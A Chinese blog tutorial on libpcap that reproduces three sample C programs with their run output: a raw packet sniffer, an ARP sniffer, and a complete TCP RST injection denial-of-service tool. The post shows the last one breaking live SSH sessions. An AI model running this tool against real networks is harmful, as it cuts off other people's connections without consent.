libpcap的使用 (2)

libpcap的使用 (2)
接着上一篇文章
libpcap的使用 (1)
https://blog.csdn.net/wowocpp/article/details/116015919

案例程序:
http://www.programming-pcap.aldabaknocking.com/codesamples.html

simplesniffer

This code implements a simple sniffer that listens for any type of packet and prints the raw data in hexadecimal format.

/* Simple Raw Sniffer                                                    */ 
/* Author: Luis Martin Garcia. luis.martingarcia [.at.] gmail [d0t] com  */
/* To compile: gcc simplesniffer.c -o simplesniffer -lpcap               */ 
/* Run as root!                                                          */ 
/*                                                                       */
/* This code is distributed under the GPL License. For more info check:  */
/* http://www.gnu.org/copyleft/gpl.html                                  */


//http://www.programming-pcap.aldabaknocking.com/code/simplesniffer.c


#include <pcap.h> 
#include <string.h> 
#include <stdlib.h> 
#include <ctype.h>
#define MAXBYTES2CAPTURE 2048 


/* processPacket(): Callback function called by pcap_loop() everytime a packet */
/* arrives to the network card. This function prints the captured raw data in  */
/* hexadecimal.                                                                */
void processPacket(u_char *arg, const struct pcap_pkthdr* pkthdr, const u_char * packet){ 

 int i=0, *counter = (int *)arg; 

 printf("Packet Count: %d\n", ++(*counter)); 
 printf("Received Packet Size: %d\n", pkthdr->len); 
 printf("Payload:\n"); 
 for (i=0; i<pkthdr->len; i++){ 

    if ( isprint(packet[i]) ) /* If it is a printable character, print it */
        printf("%c ", packet[i]); 
    else 
        printf(". "); 
    
     if( (i%16 == 0 && i!=0) || i==pkthdr->len-1 ) 
        printf("\n"); 
  } 
 return; 
} 



/* main(): Main function. Opens network interface and calls pcap_loop() */
int main(int argc, char *argv[] ){ 
    
 int i=0, count=0; 
 pcap_t *descr = NULL; 
 char errbuf[PCAP_ERRBUF_SIZE], *device=NULL; 
 memset(errbuf,0,PCAP_ERRBUF_SIZE); 

 if( argc > 1){  /* If user supplied interface name, use it. */
    device = argv[1];
 }
 else{  /* Get the name of the first device suitable for capture */ 

    if ( (device = pcap_lookupdev(errbuf)) == NULL){
        fprintf(stderr, "ERROR: %s\n", errbuf);
        exit(1);
    }
 }

 printf("Opening device %s\n", device); 
 
 /* Open device in promiscuous mode */ 
 if ( (descr = pcap_open_live(device, MAXBYTES2CAPTURE, 1,  512, errbuf)) == NULL){
    fprintf(stderr, "ERROR: %s\n", errbuf);
    exit(1);
 }

 /* Loop forever & call processPacket() for every received packet*/ 
 if ( pcap_loop(descr, -1, processPacket, (u_char *)&count) == -1){
    fprintf(stderr, "ERROR: %s\n", pcap_geterr(descr) );
    exit(1);
 }

return 0; 

} 

/* EOF*/

编译方法:
gcc simplesniffer.c -lpcap -o simplesniffer

运行:
sudo ./simplesniffer
运行结果:

Opening device enp4s0
Packet Count: 1
Received Packet Size: 60
Payload:
. . . . . . @ . \ t . . . . E . .
( . Z @ . @ . . * . . c . . . c
. . . . . & 2 . . . ` . F P . ?
. . . . . . . . . . .
Packet Count: 2
Received Packet Size: 294
Payload:
@ . \ t . . . . . . . . . . E . .
. : . @ . @ . . n . . c . . . c
. . . . . . ` . F & 2 . . P . .
. I V . . . . . . . . n . f . .
. H . G . . v . . T Z S . . . 2
. M A G Y . . . . . . . . * 9 Z
. . . * . Q ( . k . 1 . . - . .
l . M E ? . # \ ; . m . . . . .
. t . . . / . g . .   . . w . ]
o 4 V j . . s . # . . / o g . .
. . . . B . . . L . . . Z . . .
. . [ . < . . ` . . . . ? . . .
M ] . . . . . o N . . . . . . .
. . . u ) w i w . . . u . . . .
* . . . k . # . k 6 * . . . v .
. " . . . , . . . Y . . . . . .
. O / . . . b z u . Y . u . ; .
j . . . . . . C [ . . R V u . .
V 3 . a .
Packet Count: 3
Received Packet Size: 86
Payload:
3 3 . . c V . . . . . . . . ` . .
. .   : . . . . . . . . . . . .
. . . l c . . . . . . . . . . .
. . . c V . . N ) . . . . . . .
. . . . . . . 7 . . . c V . . .
. . . . .
Packet Count: 4
Received Packet Size: 60
Payload:
. . . . . . @ . \ t . . . . . . .
. . . . . @ . \ t . . . . c . .
. . . . . . . c . . . . . . . .
. . . . . . . . . . .
Packet Count: 5
Received Packet Size: 60
Payload:
. . . . . . @ . \ t . . . . E . .
( . [ @ . @ . . ) . . c . . . c
. . . . . & 2 . . . ` . 6 P . ?
E . . . . . . . . . .
^C

Simple ARP Sniffer

This code implements a sniffer that listens for ARP packets and prints ARP headers to stdout.

http://www.programming-pcap.aldabaknocking.com/code/arpsniffer.c

/* Simple ARP Sniffer.                                                   */ 
/* Author: Luis Martin Garcia. luis.martingarcia [.at.] gmail [d0t] com  */
/* To compile: gcc arpsniffer.c -o arpsniff -lpcap                       */
/* Run as root!                                                          */ 
/*                                                                       */
/* This code is distributed under the GPL License. For more info check:  */
/* http://www.gnu.org/copyleft/gpl.html                                  */

#include <pcap.h> 
#include <stdlib.h> 
#include <string.h> 
#include <netinet/in.h>
/* ARP Header, (assuming Ethernet+IPv4)            */ 
#define ARP_REQUEST 1   /* ARP Request             */ 
#define ARP_REPLY 2     /* ARP Reply               */ 
typedef struct arphdr { 
    u_int16_t htype;    /* Hardware Type           */ 
    u_int16_t ptype;    /* Protocol Type           */ 
    u_char hlen;        /* Hardware Address Length */ 
    u_char plen;        /* Protocol Address Length */ 
    u_int16_t oper;     /* Operation Code          */ 
    u_char sha[6];      /* Sender hardware address */ 
    u_char spa[4];      /* Sender IP address       */ 
    u_char tha[6];      /* Target hardware address */ 
    u_char tpa[4];      /* Target IP address       */ 
}arphdr_t; 

#define MAXBYTES2CAPTURE 2048 



int main(int argc, char *argv[]){

 int i=0; 
 bpf_u_int32 netaddr=0, mask=0;    /* To Store network address and netmask   */ 
 struct bpf_program filter;        /* Place to store the BPF filter program  */ 
 char errbuf[PCAP_ERRBUF_SIZE];    /* Error buffer                           */ 
 pcap_t *descr = NULL;             /* Network interface handler              */ 
 struct pcap_pkthdr pkthdr;        /* Packet information (timestamp,size...) */ 
 const unsigned char *packet=NULL; /* Received raw data                      */ 
 arphdr_t *arpheader = NULL;       /* Pointer to the ARP header              */ 
 memset(errbuf,0,PCAP_ERRBUF_SIZE); 

if (argc != 2){ 
    printf("USAGE: arpsniffer <interface>\n"); 
    exit(1); 
} 
 /* Open network device for packet capture */ 
 if ((descr = pcap_open_live(argv[1], MAXBYTES2CAPTURE, 0,  512, errbuf))==NULL){
    fprintf(stderr, "ERROR: %s\n", errbuf);
    exit(1);
 }
    
 /* Look up info from the capture device. */ 
 if( pcap_lookupnet( argv[1] , &netaddr, &mask, errbuf) == -1){
     fprintf(stderr, "ERROR: %s\n", errbuf);
    exit(1);
 }

 /* Compiles the filter expression into a BPF filter program */ 
if ( pcap_compile(descr, &filter, "arp", 1, mask) == -1){
    fprintf(stderr, "ERROR: %s\n", pcap_geterr(descr) );
    exit(1);
 }

 /* Load the filter program into the packet capture device. */ 
 if (pcap_setfilter(descr,&filter) == -1){
    fprintf(stderr, "ERROR: %s\n", pcap_geterr(descr) );
    exit(1);
 }


 while(1){ 
 
  if ( (packet = pcap_next(descr,&pkthdr)) == NULL){  /* Get one packet */ 
    fprintf(stderr, "ERROR: Error getting the packet.\n", errbuf);
    exit(1);
 }

  arpheader = (struct arphdr *)(packet+14); /* Point to the ARP header */ 

  printf("\n\nReceived Packet Size: %d bytes\n", pkthdr.len); 
  printf("Hardware type: %s\n", (ntohs(arpheader->htype) == 1) ? "Ethernet" : "Unknown"); 
  printf("Protocol type: %s\n", (ntohs(arpheader->ptype) == 0x0800) ? "IPv4" : "Unknown"); 
  printf("Operation: %s\n", (ntohs(arpheader->oper) == ARP_REQUEST)? "ARP Request" : "ARP Reply"); 
 
 /* If is Ethernet and IPv4, print packet contents */ 
  if (ntohs(arpheader->htype) == 1 && ntohs(arpheader->ptype) == 0x0800){ 
    printf("Sender MAC: "); 

    for(i=0; i<6;i++)
        printf("%02X:", arpheader->sha[i]); 

    printf("\nSender IP: "); 

    for(i=0; i<4;i++)
        printf("%d.", arpheader->spa[i]); 

    printf("\nTarget MAC: "); 

    for(i=0; i<6;i++)
        printf("%02X:", arpheader->tha[i]); 

    printf("\nTarget IP: "); 

    for(i=0; i<4; i++)
        printf("%d.", arpheader->tpa[i]); 
    
    printf("\n"); 

  } 

 } 

return 0; 

}
/* EOF */

运行方式:

sudo ./arpsniffer enp4s0

需要多运行几次
有时候会出现

ERROR: Error getting the packet.

有时候会出现

Received Packet Size: 60 bytes
Hardware type: Ethernet
Protocol type: IPv4
Operation: ARP Request
Sender MAC: 04:92:26:4B:C0:77:
Sender IP: 192.168.99.15.
Target MAC: 00:00:00:00:00:00:
Target IP: 192.168.99.10.
ERROR: Error getting the packet.

Simple DOS.

This implements a bit more advanced tool that listens for TCP packets with the ACK or PSH-ACK flags set, crafts a valid TCP RST packet for the connection and sends it through a raw socket. This should result in a denial of service for the host computer and possibly for other hosts in the same network segment.

/* Simple TCP SYN Denial Of Service                                      */
/* Author: Luis Martin Garcia. luis.martingarcia [.at.] gmail [d0t] com  */
/* To compile: gcc tcpsyndos.c -o tcpsyndos -lpcap                       */
/* Run as root!                                                          */
/*                                                                       */
/* This code is distributed under the GPL License. For more info check:  */
/* http://www.gnu.org/copyleft/gpl.html                                  */


#define __USE_BSD         /* Using BSD IP header           */ 
#include <netinet/ip.h>   /* Internet Protocol             */ 
#define __FAVOR_BSD       /* Using BSD TCP header          */ 
#include <netinet/tcp.h>  /* Transmission Control Protocol */ 
#include <pcap.h>         /* Libpcap                       */ 
#include <string.h>       /* String operations             */ 
#include <stdlib.h>       /* Standard library definitions  */ 

#include <arpa/inet.h>

#include <unistd.h>

#define TCPSYN_LEN 20
#define MAXBYTES2CAPTURE 2048

/* Pseudoheader (Used to compute TCP checksum. Check RFC 793) */
typedef struct pseudoheader {
  u_int32_t src;
  u_int32_t dst;
  u_char zero;
  u_char protocol;
  u_int16_t tcplen;
} tcp_phdr_t;

typedef unsigned short u_int16;
typedef unsigned long u_int32;


/* Function Prototypes */
int TCP_RST_send(u_int32 seq, u_int32 src_ip, u_int32 dst_ip, u_int16 src_prt, u_int16 dst_prt);
unsigned short in_cksum(unsigned short *addr,int len);




/* main(): Main function. Opens network interface for capture. Tells the kernel*/
/* to deliver packets with the ACK or PSH-ACK flags set. Prints information    */
/* about captured packets. Calls TCP_RST_send() to kill the TCP connection     */
/* using TCP RST packets.                                                      */
int main(int argc, char *argv[] ){
 
 int count=0;
 bpf_u_int32 netaddr=0, mask=0;    /* To Store network address and netmask   */ 
 struct bpf_program filter;        /* Place to store the BPF filter program  */ 
 char errbuf[PCAP_ERRBUF_SIZE];    /* Error buffer                           */ 
 pcap_t *descr = NULL;             /* Network interface handler              */ 
 struct pcap_pkthdr pkthdr;        /* Packet information (timestamp,size...) */ 
 const unsigned char *packet=NULL; /* Received raw data                      */ 
 struct ip *iphdr = NULL;          /* IPv4 Header                            */
 struct tcphdr *tcphdr = NULL;     /* TCP Header                             */
 memset(errbuf,0,PCAP_ERRBUF_SIZE);

   
if (argc != 2){
	fprintf(stderr, "USAGE: tcpsyndos <interface>\n");
	exit(1);
}

 /* Open network device for packet capture */ 
 descr = pcap_open_live(argv[1], MAXBYTES2CAPTURE, 1,  512, errbuf);
 if(descr==NULL){
   fprintf(stderr, "pcap_open_live(): %s \n", errbuf);
   exit(1);
 }

 /* Look up info from the capture device. */ 
 if ( pcap_lookupnet( argv[1] , &netaddr, &mask, errbuf) == -1 ){ 
   fprintf(stderr, "ERROR: pcap_lookupnet(): %s\n", errbuf );
   exit(1);
 }

 /* Compiles the filter expression into a BPF filter program */
 if ( pcap_compile(descr, &filter, "(tcp[13] == 0x10) or (tcp[13] == 0x18)", 1, mask) == -1){
    fprintf(stderr, "Error in pcap_compile(): %s\n", pcap_geterr(descr) );
    exit(1);
 }
 
 /* Load the filter program into the packet capture device. */ 
 if( pcap_setfilter(descr,&filter) == -1 ){
    fprintf(stderr, "Error in pcap_setfilter(): %s\n", pcap_geterr(descr));
    exit(1);
 }



while(1){ 
 /* Get one packet */
 if ( (packet = pcap_next(descr,&pkthdr)) == NULL){
   fprintf(stderr, "Error in pcap_next() %s\n", errbuf);
   exit(1);
 }

 iphdr = (struct ip *)(packet+14);
 tcphdr = (struct tcphdr *)(packet+14+20);
 if(count==0)printf("+-------------------------+\n");
 printf("Received Packet No.%d:\n", ++count);
 printf("   ACK: %u\n", ntohl(tcphdr->th_ack) ); 
 printf("   SEQ: %u\n", ntohl(tcphdr->th_seq) );
 printf("   DST IP: %s\n", inet_ntoa(iphdr->ip_dst)); 
 printf("   SRC IP: %s\n", inet_ntoa(iphdr->ip_src)); 
 printf("   SRC PORT: %d\n", ntohs(tcphdr->th_sport) ); 
 printf("   DST PORT: %d\n", ntohs(tcphdr->th_dport) ); 

 TCP_RST_send(tcphdr->th_ack, iphdr->ip_dst.s_addr, iphdr->ip_src.s_addr, tcphdr->th_dport, tcphdr->th_sport);
 TCP_RST_send(htonl(ntohl(tcphdr->th_seq)+1), iphdr->ip_src.s_addr, iphdr->ip_dst.s_addr, tcphdr->th_sport, tcphdr->th_dport);

 printf("+-------------------------+\n");

}

 

return 0;

}



/* TCP_RST_send(): Crafts a TCP packet with the RST flag set using the supplied */
/* values and sends the packet through a raw socket.                            */
int TCP_RST_send(u_int32 seq, u_int32 src_ip, u_int32 dst_ip, u_int16 src_prt, u_int16 dst_prt){

  static int i=0;
  int one=1; /* R.Stevens says we need this variable for the setsockopt call */ 

  /* Raw socket file descriptor */ 
  int rawsocket=0;  
  
  /* Buffer for the TCP/IP SYN Packets */
  char packet[ sizeof(struct tcphdr) + sizeof(struct ip) +1 ];   

  /* It will point to start of the packet buffer */  
  struct ip *ipheader = (struct ip *)packet;   
  
  /* It will point to the end of the IP header in packet buffer */  
  struct tcphdr *tcpheader = (struct tcphdr *) (packet + sizeof(struct ip)); 
  
  /* TPC Pseudoheader (used in checksum)    */
  tcp_phdr_t pseudohdr;            

  /* TCP Pseudoheader + TCP actual header used for computing the checksum */
  char tcpcsumblock[ sizeof(tcp_phdr_t) + TCPSYN_LEN ];

  /* Although we are creating our own IP packet with the destination address */
  /* on it, the sendto() system call requires the sockaddr_in structure */
  struct sockaddr_in dstaddr;  
  
  memset(&pseudohdr,0,sizeof(tcp_phdr_t));
  memset(&packet, 0, sizeof(packet));
  memset(&dstaddr, 0, sizeof(dstaddr));   
    
  dstaddr.sin_family = AF_INET;     /* Address family: Internet protocols */
  dstaddr.sin_port = dst_prt;      /* Leave it empty */
  dstaddr.sin_addr.s_addr = dst_ip; /* Destination IP */



  /* Get a raw socket to send TCP packets */   
 if ( (rawsocket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0){
        perror("TCP_RST_send():socket()"); 
        exit(1);
  }
  
  /* We need to tell the kernel that we'll be adding our own IP header */
  /* Otherwise the kernel will create its own. The ugly "one" variable */
  /* is a bit obscure but R.Stevens says we have to do it this way ;-) */
  if( setsockopt(rawsocket, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one)) < 0){
        perror("TCP_RST_send():setsockopt()"); 
        exit(1);
   }
 
	
  /* IP Header */
  ipheader->ip_hl = 5;     /* Header lenght in octects                       */
  ipheader->ip_v = 4;      /* Ip protocol version (IPv4)                     */
  ipheader->ip_tos = 0;    /* Type of Service (Usually zero)                 */
  ipheader->ip_len = htons( sizeof (struct ip) + sizeof (struct tcphdr) );         
  ipheader->ip_off = 0;    /* Fragment offset. We'll not use this            */
  ipheader->ip_ttl = 64;   /* Time to live: 64 in Linux, 128 in Windows...   */
  ipheader->ip_p = 6;      /* Transport layer prot. TCP=6, UDP=17, ICMP=1... */
  ipheader->ip_sum = 0;    /* Checksum. It has to be zero for the moment     */
  ipheader->ip_id = htons( 1337 ); 
  ipheader->ip_src.s_addr = src_ip;  /* Source IP address                    */
  ipheader->ip_dst.s_addr = dst_ip;  /* Destination IP address               */

  /* TCP Header */   
  tcpheader->th_seq = seq;        /* Sequence Number                         */
  tcpheader->th_ack = htonl(1);   /* Acknowledgement Number                  */
  tcpheader->th_x2 = 0;           /* Variable in 4 byte blocks. (Deprecated) */
  tcpheader->th_off = 5;		  /* Segment offset (Lenght of the header)   */
  tcpheader->th_flags = TH_RST;   /* TCP Flags. We set the Reset Flag        */
  tcpheader->th_win = htons(4500) + rand()%1000;/* Window size               */
  tcpheader->th_urp = 0;          /* Urgent pointer.                         */
  tcpheader->th_sport = src_prt;  /* Source Port                             */
  tcpheader->th_dport = dst_prt;  /* Destination Port                        */
  tcpheader->th_sum=0;            /* Checksum. (Zero until computed)         */
  
  /* Fill the pseudoheader so we can compute the TCP checksum*/
  pseudohdr.src = ipheader->ip_src.s_addr;
  pseudohdr.dst = ipheader->ip_dst.s_addr;
  pseudohdr.zero = 0;
  pseudohdr.protocol = ipheader->ip_p;
  pseudohdr.tcplen = htons( sizeof(struct tcphdr) );

  /* Copy header and pseudoheader to a buffer to compute the checksum */  
  memcpy(tcpcsumblock, &pseudohdr, sizeof(tcp_phdr_t));   
  memcpy(tcpcsumblock+sizeof(tcp_phdr_t),tcpheader, sizeof(struct tcphdr));
    
  /* Compute the TCP checksum as the standard says (RFC 793) */
  tcpheader->th_sum = in_cksum((unsigned short *)(tcpcsumblock), sizeof(tcpcsumblock)); 

  /* Compute the IP checksum as the standard says (RFC 791) */
  ipheader->ip_sum = in_cksum((unsigned short *)ipheader, sizeof(struct ip));
    
  /* Send it through the raw socket */    
  if ( sendto(rawsocket, packet, ntohs(ipheader->ip_len), 0,
                  (struct sockaddr *) &dstaddr, sizeof (dstaddr)) < 0){		
        return -1;                     
    }

  printf("Sent RST Packet:\n");
  printf("   SRC: %s:%d\n", inet_ntoa(ipheader->ip_src), ntohs(tcpheader->th_sport));
  printf("   DST: %s:%d\n", inet_ntoa(ipheader->ip_dst), ntohs(tcpheader->th_dport));
  printf("   Seq=%u\n", ntohl(tcpheader->th_seq));
  printf("   Ack=%d\n", ntohl(tcpheader->th_ack));
  printf("   TCPsum: %02x\n",  tcpheader->th_sum);
  printf("   IPsum: %02x\n", ipheader->ip_sum);
    
  close(rawsocket);

return 0;
  
  
} /* End of IP_Id_send() */




/* This piece of code has been used many times in a lot of differents tools. */
/* I haven't been able to determine the author of the code but it looks like */
/* this is a public domain implementation of the checksum algorithm */
unsigned short in_cksum(unsigned short *addr,int len){
    
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
    
/*
* Our algorithm is simple, using a 32-bit accumulator (sum),
* we add sequential 16-bit words to it, and at the end, fold back 
* all the carry bits from the top 16 bits into the lower 16 bits. 
*/
    
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}

/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}

/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum &0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);

} /* End of in_cksum() */

/* EOF */

运行程序:

sudo ./tcpsyndos enp4s0

运行结果:

+-------------------------+
Received Packet No.1:
   ACK: 3663832278
   SEQ: 640918184
   DST IP: 192.168.99.31
   SRC IP: 192.168.99.219
   SRC PORT: 54702
   DST PORT: 22
Sent RST Packet:
   SRC: 192.168.99.31:22
   DST: 192.168.99.219:54702
   Seq=3663832278
   Ack=1
   TCPsum: 182
   IPsum: 4c2d
Sent RST Packet:
   SRC: 192.168.99.219:54702
   DST: 192.168.99.31:22
   Seq=640918185
   Ack=1
   TCPsum: 5b41
   IPsum: 4c2d
+-------------------------+

这个程序会引起 ssh putty登录的链接 断开

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值